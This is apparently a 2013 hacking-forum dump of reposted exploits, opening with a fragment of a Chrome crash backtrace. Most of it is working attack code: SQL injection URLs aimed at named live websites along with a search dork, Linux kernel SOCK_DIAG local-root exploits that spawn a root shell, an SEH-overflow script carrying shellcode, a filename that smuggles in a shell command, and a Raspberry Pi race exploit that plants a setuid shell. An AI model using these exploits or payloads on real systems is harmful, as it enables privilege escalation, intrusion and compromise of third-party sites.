#8 0xb498846e in MessageLoop::RunInternal() ()
#9 0xb49a4ae9 in base::RunLoop::Run() ()
#10 0xb498775e in MessageLoop::Run() ()
#11 0xb49bfbb9 in base::thread::Run(MessageLoop*) ()
#12 0xb49bfa91 in base::thread::threadMain() ()
#13 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 2 (Thread 0xb2735b70 (LWP 10475)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb2f40d37 in syscall () from /lib/tls/i686/cmov/libc.so.6
#2 0xb49e6410 in epoll_wait ()
#3 0xb49e5e75 in epoll_dispatch ()
#4 0xb49e42a7 in event_base_loop ()
#5 0xb495eda7 in base::MessagePumpLibevent::Run(base::MessagePump::Delegate*) ()
#6 0xb498846e in MessageLoop::RunInternal() ()
#7 0xb49a4ae9 in base::RunLoop::Run() ()
#8 0xb498775e in MessageLoop::Run() ()
#9 0xb49bfbb9 in base::thread::Run(MessageLoop*) ()
#10 0xb49bfa91 in base::thread::threadMain() ()
#11 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#12 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#13 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 1 (Thread 0xb2977990 (LWP 10468)):
#0 0xb40ea92b in (anonymous namespace)::InspectDataSource::StartDataRequest(std::string const&, bool, int) ()
#1 0xb40caf9b in base::internal::Invoker<4, base::internal::BindState<base::internal::RunnableAdapter<void (ChromeURLDataManager::DataSource::)(std::string const&, bool, int)>, void ()(ChromeURLDataManager::DataSource, std::string const&, bool, int), void ()(ChromeURLDataManager::DataSource*, std::string, bool, int)>, void ()(ChromeURLDataManager::DataSource*, std::string const&, bool, int)>::Run(base::internal::BindStateBase*) ()
#2 0xb498c220 in MessageLoop::RunTask(base::PendingTask const&) ()
#3 0xb498c8c2 in MessageLoop::DeferOrRunPendingTask(base::PendingTask const&) ()
#4 0xb498cc31 in MessageLoop::DoWork() ()
#5 0xb49d58be in base::MessagePumpGlib::RunWithDispatcher(base::MessagePump::Delegate*, base::MessagePumpDispatcher*) ()
#6 0xb49d543c in base::MessagePumpGlib::Run(base::MessagePump::Delegate*) ()
#7 0xb498846e in MessageLoop::RunInternal() ()
#8 0xb49a4ae9 in base::RunLoop::Run() ()
#9 0xb46513f5 in ChromeBrowserMainParts::MainMessageLoopRun(int*) ()
#10 0xb65262ec in content::BrowserMainLoop::RunMainMessageLoopParts() ()
#11 0xb6527280 in (anonymous namespace)::BrowserMainRunnerImpl::Run() ()
#12 0xb65247f3 in BrowserMain(content::MainFunctionParams const&) ()
#13 0xb48fb758 in content::RunNamedProcessTypeMain(std::string const&, content::MainFunctionParams const&, content::ContentMainDelegate*) ()
#14 0xb48fb8b0 in content::ContentMainRunnerImpl::Run() ()
#15 0xb48fa797 in content::ContentMain(int, char const**, content::ContentMainDelegate*) ()
#16 0xb3fbe60b in ChromeMain ()
#17 0xb3fbe5c2 in main ()
eax 0x4 4
ecx 0xb81187c0 -1206810688
edx 0x0 0
ebx 0xb8158ff4 -1206546444
esp 0xbfffdfa0 0xbfffdfa0
ebp 0xbfffe588 0xbfffe588
esi 0xbfffe4b0 -1073748816
edi 0xb8829880 -1199400832
eip 0xb40ea92b 0xb40ea92b <(anonymous namespace)::InspectDataSource::StartDataRequest(std::string const&, bool, int)+1899>
eflags 0x210286 [ PF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
=> 0xb40ea92b <_ZN12_GLOBAL__N_117InspectDataSource16StartDataRequestERKSsbi+1899>: mov (%edx),%eax
0xb40ea92d <_ZN12_GLOBAL__N_117InspectDataSource16StartDataRequestERKSsbi+1901>: mov %edx,(%esp)
0xb40ea930 <_ZN12_GLOBAL__N_117InspectDataSource16StartDataRequestERKSsbi+1904>: call *0x28(%eax)
0xb40ea933 <_ZN12_GLOBAL__N_117InspectDataSource16StartDataRequestERKSsbi+1907>: mov %eax,-0x580(%ebp)
edx 0x0 0
eax 0x4 4
1: x/i $pc
=> 0xb40ea92b <_ZN12_GLOBAL__N_117InspectDataSource16StartDataRequestERKSsbi+1899>: mov (%edx),%eax

Click to expand...

Joomla Component RSfiles
ID: 67686ba3b4103b69df379d8b
Thread ID: 24007
Created: 2013-03-18T06:32:28+0000
Last Post: 2013-03-18T06:32:28+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Title : Joomla Component RSfiles <= (cid) SQL injection Vulnerability

Author : ByEge

Contact : http://byege.blogspot.com

Date : 18.03.2013

S.Page : http://www.rsjoomla.com

Dork : inurl:index.php?option=com_rsfiles

DorkEx :

[http://www.google.com.tr/#hl=tr&sclient=ps...ion=com_rsfiles](http://www.google.com.tr/#hl=tr&sclient=psy- ab&q=inurl:index.php?option=com_rsfiles)

[[SQL Injection Test]]]

http://www.theengineeringguild.co.uk/?opti...(),version())--

http://www.wcsaga.com/?option=com_rsfiles&...(),version())--

http://zootradio.com/joomla/?option=com_rs...(),version())--

http://pctas.org.au/?option=com_rsfiles&vi...(),version())--

Vulnerability : ?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1//aNd//1=0/**/uNioN++sElecT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--


Turkey.

2D098FFBD8D2E455 1337day.com [2013-03-18] 18818CB3D37A7701

Click to expand...

Fedora Linux SOCK_DIAG Local Root Exploit
ID: 67686ba3b4103b69df379d8c
Thread ID: 23999
Created: 2013-03-15T07:35:32+0000
Last Post: 2013-03-15T07:35:32+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

/* 
* CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
* This exploit uses nl_table to jump to a known location
*/
 
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>
 
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;
 
int __attribute__((regparm(3)))
kernel_code()
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}
 
unsigned long
get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy, sym[512];
    int ret = 0;
  
    f = fopen("/proc/kallsyms", "r");
    if (!f) {
        return 0;
    }
  
    while (ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
        if (ret == 0) {
            fscanf(f, "%s\n", sym);
            continue;
        }
        if (!strcmp(name, sym)) {
            printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
            fclose(f);
            return addr;
        }
    }
    fclose(f);
  
    return 0;
}
 
int main(int argc, char*argv[])
{
    int fd;
    unsigned family;
    struct {
        struct nlmsghdr nlh;
        struct unix_diag_req r;
    } req;
    char    buf[8192];
 
    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
        printf("Can't create sock diag socket\n");
        return -1;
    }
 
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = sizeof(req);
    req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
    req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
    req.nlh.nlmsg_seq = 123456;
 
    req.r.udiag_states = -1;
    req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
 
    commit_creds = (_commit_creds) get_symbol("commit_creds");
    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
    sock_diag_handlers = get_symbol("sock_diag_handlers");
    nl_table = get_symbol("nl_table");
       
    if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
        printf("some symbols are not available!\n");
        exit(1);
    }
 
    family = (nl_table - sock_diag_handlers) / 8;
    printf("family=%d\n",family);
    req.r.sdiag_family = family;
       
    if(family>255){
        printf("nl_table is too far!\n");
        exit(1);
    }
 
    unsigned long mmap_start, mmap_size;
    mmap_start = 0x100000000;
    mmap_size = 0x200000;
    printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);
 
    if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
        MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
        printf("mmap fault\n");
        exit(1);
    }
    memset((void*)mmap_start, 0x90, mmap_size);
 
    char jump[] = "\x55"                          // push %ebp
                  "\x48\x89\xe5"                  // mov %rsp, %rbp
                  "\x48\xc7\xc0\x00\x00\x00\x00"  // movabs 0x00, %rax
                  "\xff\xd0"                      // call *%rax
                  "\x5d"                          // pop %rbp 
                  "\xc3";                         // ret
 
 
    unsigned int *asd = (unsigned int*) &jump[7];
    *asd = (unsigned int)kernel_code;
    printf("&kernel_code = %x\n", (unsigned int) kernel_code);
 
    memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
 
    if ( send(fd, &req, sizeof(req), 0) < 0) {
        printf("bad send\n");
        close(fd);
        return -1;
    }
 
    printf("uid=%d, euid=%d\n",getuid(), geteuid() );
 
    if(!getuid())
        system("/bin/sh");
 
}

Источник:http://1337day.com/exploit/20507

Linux Kernel 'SCTP_GET_ASSOC_STATS()'
ID: 67686ba3b4103b69df379d8d
Thread ID: 23996
Created: 2013-03-14T07:24:38+0000
Last Post: 2013-03-14T07:24:38+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Code:Copy to clipboard

#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
  
#define SCTP_GET_ASSOC_STATS 112
#define SOL_SCTP 132
  
int main(void)
{
    char *buf = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    socklen_t len = strlen(buf);
    int fd;
  
    fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    getsockopt(fd, SOL_SCTP, SCTP_GET_ASSOC_STATS, buf, &len);
    return 0;
}
Microsoft Office PowerPoint 2007 Memory Corruption
ID: 67686ba3b4103b69df379d8e
Thread ID: 23995
Created: 2013-03-14T07:23:49+0000
Last Post: 2013-03-14T07:23:49+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
#0 _ __ __ __ 1
#1 /' \ __ /'\ /\ \\__ /'__\ 0
#0 /\, \ ___ /\/\_\ \ \ \ \ ,/\ /\ \ _ ___ 1
#1 /
/\ \ /' _ \ \/\ \/_/_\\_<_ /'___\ \ \/\ \ \ \ \/\\'
\ 0
#0 \ \ /\ /\ \ \ \ /\ \ \ /\ \
/\ \ \\ \ \\ \ \ / 1
#1 \ \\ \\ \\\ \ \ \/\ \\\ \
\\ \/\ \\ 0
#0 /
//
//
/\ \\ /
/ // // // // 1
#1 \ \
/ >> Exploit database separated by exploit 0
#0 /
/ type (local, remote, DoS, etc.) 1
#1 1
#0 [ + ] Site : 1337day.com 0
#1 [ + ] Support e-mail : submit[at]1337day.com 1
#0 0
#1 ######################################### 1
#0 I'm The Black Devils member from Inj3ct0r Team 1
#1 ######################################### 0
#0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Title : Microsoft Office PowerPoint 2007 Memory Corruption

Date: 2013-01-12

Software Link: http://office.microsoft.com/

Author: The Black Devils

Tested on: Windows XP SP2

Special Thanks To : sH3LL05Dz & Lady NEXA & x3o-1337

Bug Description:

when you insert a sound to Microsoft office powerpoint 2007 ;the software will get crashed
it tested on office 2007 ,all the versions may be affected too

Credit: This Bug was founded by Asesino04 "The Black Devils"

Proof Of Concept

[https://fbcdn-sphotos- g-a.akamaihd.net/hpho...881180451_n.jpg](https://fbcdn-sphotos- g-a.akamaihd.net/hphotos-ak-prn1/601368_541967942509686_881180451_n.jpg)

/-->
EAX FFFFFFFF
ECX 00000000
EDX 00000000
EBX 0003DAD8
ESP 0013BC5C
EBP 0013BCF0
ESI FFFFFFFF
EDI 00199FF2
EIP 0460E650 quartz.0460E650
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 1 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -??? FFFF 00FF00FF 00FF00FF
ST1 empty -??? FFFF 00FF00FF 00FF00FF
ST2 empty 0.0
ST3 empty 0.0000721784745110199
ST4 empty 2902527.2727272720080
ST5 empty -0.0
ST6 empty 41.943754053320141400
ST7 empty 0.0
3 2 1 0 E S P U O Z D I
FST 4020 Cond 1 0 0 0 Err 0 0 1 0 0 0 0 0 (EQ)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
<--/

#!/usr/bin/perl
system("title The Black Devils");
system("color 1e");
system("cls");
print "\n\n";
print " |=======================================================|\n";
print " |= [!] Name : Microsoft Office PowerPoint 2007 ||.au =|\n";
print " |= [!] Exploit : Memory Corruption =|\n";
print " |= [!] Author : The Black Devils =|\n";
print " |= [!] Mail: mr.k4rizma(at)gmail(dot)com =|\n";
print " |=======================================================|\n";
sleep(2);
print "\n";

Creating ...

my $PoC =
"\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01".
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E".
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22".
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x66\x66\x66\x00";
open(file , ">", "inj3ctor.au"); # Evil File au 284 Octets
print file $PoC;
print "\n [ + ] File successfully created!\n" or die print "\n [ - ] OupsS! File is Not Created !! ";
close(file);

Thanks To : | r0073r | KedAns-Dz | D4RKCR1PT3R | Keystr0ke | x3o-1337 | Èlite TrØjan | sH3LL05Dz
| Ana Eve | DZ Combattant | Muhammad Talha Khan | r4dc0re | SeeMe CrosS | Zikou-16 | DaOne
| Angel Injection | NuxbieCyber | Tibit | Sammy FORGIT | D4NB4R beBoss | LORDOFDARKNES
| All Dz hackerz
-----------
Contact:

Youtube : www.youtube.com/user/Th3BlackDevils

Facebook : www.facebook.com/DevilsDz

Email : mr.k4rizma@gmail.com

3616B8280D6FE9F3 1337day.com [2013-03-14] 65436B344142AAE4

Click to expand...

Ubuntu 12.10 64bit Local Root
ID: 67686ba3b4103b69df379d8f
Thread ID: 23989
Created: 2013-03-12T06:12:19+0000
Last Post: 2013-03-12T20:10:33+0000
Author: DarckSol
Prefix: Local
Replies: 2 Views: 1K

Local root exploit for Ubuntu 12.10 64bit that leverages the sock_diag_handlers[] vulnerability in Linux kernels before 3.7.10.

Code:Copy to clipboard

#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;

int __attribute__((regparm(3)))
x()
{
  commit_creds(prepare_kernel_cred(0));
  return -1;
}

char stage1[] = "\xff\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

int main() {
  int fd;
    unsigned long mmap_start, mmap_size = 0x10000;
  unsigned family;
  struct {
    struct nlmsghdr nlh;
    struct unix_diag_req r;
  } req;
  char  buf[8192];

  if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
    printf("Can't create sock diag socket\n");
    return -1;
  }

  memset(&req, 0, sizeof(req));
  req.nlh.nlmsg_len = sizeof(req);
  req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
  req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
  req.nlh.nlmsg_seq = 123456;

  req.r.udiag_states = -1;
  req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

  /* Ubuntu 12.10 x86_64 */
  req.r.sdiag_family = 0x37;
  commit_creds = (_commit_creds) 0xffffffff8107d180;
  prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107d410;
    mmap_start = 0x1a000;

    if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
    MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {

    printf("mmap fault\n");
    exit(1);
    }

    *(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x;
    memset((void *)mmap_start, 0x90, mmap_size);
    memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1));

  send(fd, &req, sizeof(req), 0);
  if(!getuid())
    system("/bin/sh");
}
ALLMediaServer 0.94 SEH Overflow
ID: 67686ba3b4103b69df379d90
Thread ID: 23987
Created: 2013-03-11T08:05:36+0000
Last Post: 2013-03-11T08:05:36+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

ALLMediaServer version 0.94 SEH overflow exploit that spawns calc.exe.

Click to expand...

Code:Copy to clipboard

#!/usr/bin/python
import socket, sys

##############################################################
# Exploit Title: ALLMediaServer 0.94 SEH Overflow Exploit
# Date: 07/03/2013
# Exploit Author: metacom
# E-mail:metacom27@gmail.com
# Software Link:http://allmediaserver.org/download
# Version: ALLMediaServer 0.94
# Tested On: Windows 7 German
#ALLMediaServer run online mod 
##############################################################
#"Usage: allmediaserver.py <ip>"
host = sys.argv[1]

buffer = "http://" + "\x41" * 1065

nseh = "\xEB\x06\x90\x90"    # Short Jump  

seh = "\xCA\x24\xEC\x65"       #POP POP RET 0x65EC24CA   avcodec-53.dll

nop = "\x90" * 50
#msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00' -e x86/shikata_ga_nai -t c
# you can replace the shellcode with any shellcode u want
shell = ("\xb8\x66\xa5\xa3\x41\xdb\xd5\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x33\x31\x43\x12\x83\xc3\x04\x03\x25\xab\x41\xb4\x55\x5b\x0c"
"\x37\xa5\x9c\x6f\xb1\x40\xad\xbd\xa5\x01\x9c\x71\xad\x47\x2d"
"\xf9\xe3\x73\xa6\x8f\x2b\x74\x0f\x25\x0a\xbb\x90\x8b\x92\x17"
"\x52\x8d\x6e\x65\x87\x6d\x4e\xa6\xda\x6c\x97\xda\x15\x3c\x40"
"\x91\x84\xd1\xe5\xe7\x14\xd3\x29\x6c\x24\xab\x4c\xb2\xd1\x01"
"\x4e\xe2\x4a\x1d\x18\x1a\xe0\x79\xb9\x1b\x25\x9a\x85\x52\x42"
"\x69\x7d\x65\x82\xa3\x7e\x54\xea\x68\x41\x59\xe7\x71\x85\x5d"
"\x18\x04\xfd\x9e\xa5\x1f\xc6\xdd\x71\x95\xdb\x45\xf1\x0d\x38"
"\x74\xd6\xc8\xcb\x7a\x93\x9f\x94\x9e\x22\x73\xaf\x9a\xaf\x72"
"\x60\x2b\xeb\x50\xa4\x70\xaf\xf9\xfd\xdc\x1e\x05\x1d\xb8\xff"
"\xa3\x55\x2a\xeb\xd2\x37\x20\xea\x57\x42\x0d\xec\x67\x4d\x3d"
"\x85\x56\xc6\xd2\xd2\x66\x0d\x97\x2d\x2d\x0c\xb1\xa5\xe8\xc4"
"\x80\xab\x0a\x33\xc6\xd5\x88\xb6\xb6\x21\x90\xb2\xb3\x6e\x16"
"\x2e\xc9\xff\xf3\x50\x7e\xff\xd1\x32\xe1\x93\xba\x9a\x84\x13"
"\x58\xe3")


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 888)) #default port
s.send(buffer+nseh+seh+nop+shell)
print "Exploit sent! Open Calc :)\n"
s.close()
CosCms 1.721 Command Injection
ID: 67686ba3b4103b69df379d92
Thread ID: 23973
Created: 2013-03-07T08:55:42+0000
Last Post: 2013-03-07T08:55:42+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

CosCms version 1.721 suffers from a remote OS command injection vulnerability.

Click to expand...

Advisory ID: HTB23145
Product: CosCms
Vendor: http://www.coscms.org
Vulnerable Version(s): 1.721 and probably prior
Tested Version: 1.721
Vendor Notification: February 13, 2013
Vendor Patch: February 13, 2013
Public Disclosure: March 6, 2013
Vulnerability Type: OS Command Injection [CWE-78]
CVE Reference: CVE-2013-1668
Risk Level: High
CVSSv2 Base Score: 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in CosCms, which can be exploited to execute arbitrary OS commands on web server where the vulnerable application is hosted.

  1. OS Command Injection in CosCms: CVE-2013-1668

Vulnerability exists due to insufficient validation of user-supplied input in "$_FILES['file']['name']" variable passed to "/gallery/upload/index" URL before using it in PHP "exec()" function. A remote attacker can send a specially crafted HTTP POST request containing a malicious filename, and execute arbitrary commands on the target system with privileges of the web server.

The following PoC (Proof of Concept) code will write output of "ls -la" command into "/gallery/upload/file.txt" file. You can use any tool to send raw HTTP requests, e.g. telnet:

POST /gallery/upload/index HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------21456260222104
Content-Length: 970

-----------------------------21456260222104
Content-Disposition: form-data; name="title"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="image_add"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="description"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="tags"

-----------------------------21456260222104
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000000
-----------------------------21456260222104
Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS"

511ad0922b50f
-----------------------------21456260222104
Content-Disposition: form-data; name="file"; filename="1 & ls -la > file.txt"
Content-Type: application/octet-stream

1

-----------------------------21456260222104
Content-Disposition: form-data; name="submit"

Update
-----------------------------21456260222104--

Successful exploitation of this vulnerability requires an attacker to be logged-in and have privileges to upload files. User registration is disabled by default.

-----------------------------------------------------------------------------------------------

Solution:

Upgrade to CosCms 1.822

More Information:
http://www.coscms.org/blog/view/4/Version-1.822

https://github.com/diversen/gallery/blob/ma...pload/index.php

https://github.com/diversen/gallery/commit/...0ea9fb78580190c

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23145 - https://www.htbridge.com/advisory/HTB23145 - OS Command Injection in CosCms.
[2] CosCms - http://www.coscms.org/ - CosCMS is a simple framework for building web application. It is intended for users, who wants some common modules, and a platform with a small code base which is easy to extend.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

Click to expand...

Raspberry Pi rpi-update Local Root
ID: 67686ba3b4103b69df379d93
Thread ID: 23970
Created: 2013-03-06T10:58:07+0000
Last Post: 2013-03-06T10:58:07+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Raspberry Pi rpi-update local root exploit.

Click to expand...

Code:Copy to clipboard

Hello everyone,

I took a closer look at this vulnerability here is my exploit to share:

 45         cat > /tmp/updateScript.sh << EOF <-- if we own it first, wait for I_MODIFY and inject our malicious code
 46         #!/bin/bash
 47         if mv "${_tempFileName}" "$0"; then
 48                 rm -- "\$0"
 49                 exec env UPDATE_SELF=0 /bin/bash "$0" "${FW_REV}"
 50         else
 51                 echo " !!! Failed!"
 52         fi
 53 EOF
 54
 55         echo " *** Relaunching after update" 
 56         exec /bin/bash /tmp/updateScript.sh <-- just runs whatever is here
 

This will poop out a root prompt for you!

raspi-p0wn.c
----------------------------------------

/*Local root exploit for rpi-update on raspberry Pi.
Vulnerability discovered by Technion,  technion@lolware.net

https://github.com/Hexxeh/rpi-update/


larry@pih0le:~$ ./rpix updateScript.sh
[*] Launching attack against "updateScript.sh"
[+] Creating evil script (/tmp/evil)
[+] Creating target file (/usr/bin/touch /tmp/updateScript.sh)
[+] Initialize inotify on /tmp/updateScript.sh
[+] Waiting for root to change perms on "updateScript.sh"
[+] Opening root shell (/tmp/sh)
# <-- Yay!


Larry W. Cashdollar
http://vapid.dhs.org
@_larry0

Greets to Vladz.
*/

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <sys/inotify.h>
#include <fcntl.h>
#include <sys/syscall.h>

/*Create a small c program to pop us a root shell*/
int create_nasty_shell(char *file) {
  char *s = "#!/bin/bash\n"
            "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
            "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
            "chmod 4755 /tmp/sh;\n";

  int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
  write(fd, s, strlen(s));
  close(fd);

  return 0;
}


int main(int argc, char **argv) {
  int fd, wd;
  char buf[1], *targetpath, *cmd,
       *evilsh = "/tmp/evil", *trash = "/tmp/trash";

  if (argc < 2) {
    printf("Usage: %s <target file> \n", argv[0]);
    return 1;
  }

  printf("[*] Launching attack against \"%s\"\n", argv[1]);

  printf("[+] Creating evil script (/tmp/evil)\n");
  create_nasty_shell(evilsh);

  targetpath = malloc(sizeof(argv[1]) + 32);
  cmd = malloc(sizeof(char) * 32);
  sprintf(targetpath, "/tmp/%s", argv[1]);
  sprintf(cmd,"/usr/bin/touch %s",targetpath);
  printf("[+] Creating target file (%s)\n",cmd);
  system(cmd);

  printf("[+] Initialize inotify on %s\n",targetpath);
  fd = inotify_init();
  wd = inotify_add_watch(fd, targetpath, IN_MODIFY);

  printf("[+] Waiting for root to modify :\"%s\"\n", argv[1]);
  syscall(SYS_read, fd, buf, 1);
  syscall(SYS_rename, targetpath,  trash);
  syscall(SYS_rename, evilsh, targetpath);

  inotify_rm_watch(fd, wd);

  printf("[+] Opening root shell (/tmp/sh)\n");
  sleep(2);
  system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");

  return 0;
}
Flash Tool 0.6.0 Remote Code Execution
ID: 67686ba3b4103b69df379d94
Thread ID: 23968
Created: 2013-03-05T08:13:09+0000
Last Post: 2013-03-05T08:13:09+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

